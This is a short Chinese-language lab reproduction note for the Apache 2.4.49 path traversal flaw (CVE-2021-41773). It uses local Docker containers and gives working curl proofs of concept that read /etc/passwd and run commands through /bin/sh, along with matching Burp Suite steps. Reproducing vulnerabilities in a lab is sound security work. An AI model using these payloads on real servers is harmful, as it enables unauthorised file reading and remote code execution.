漏洞复现记录--1
该漏洞是由于Apache HTTP Server 2.4.49版本存在目录穿越漏洞,在路径穿越目录<Directory />Require all granted</Directory> 允许被访问的的情况下(默认开启),攻击者可利用该路径穿越漏洞读取到Web目录之外的其他文件
在服务端开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意cg命令(RCE)
目录
一、Vulnerable file read config(易受攻击的文件读取配置)
二、Vulnerable RCE config(易受攻击的 RCE 配置)
一、Vulnerable file read config(易受攻击的文件读取配置)
搭建环境
1.容器可以直接从 Docker Hub 使用
docker pull blueteamsteve/cve-2021-41773:no-cgid
2.使用:
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
3.访问:ip:8080
漏洞利用
1.使用POC
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
2.burp抓包
修改为下面这样
二、Vulnerable RCE config(易受攻击的 RCE 配置)
在服务端开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意cg命令
搭建环境
docker pull blueteamsteve/cve-2021-41773:with-cgid
docker run -dit -p 8081:80 blueteamsteve/cve-2021-41773:with-cgid
访问:ip:8081
漏洞利用
1.使用POC
curl 'localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'
直接能执行命令
2.burp抓包
如下图所示修改数据包(/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh)
再右键一下,改成POST类型
然后再添加参数(A=|echo;id),就能命令执行(要留一个空白行,代表请求结束)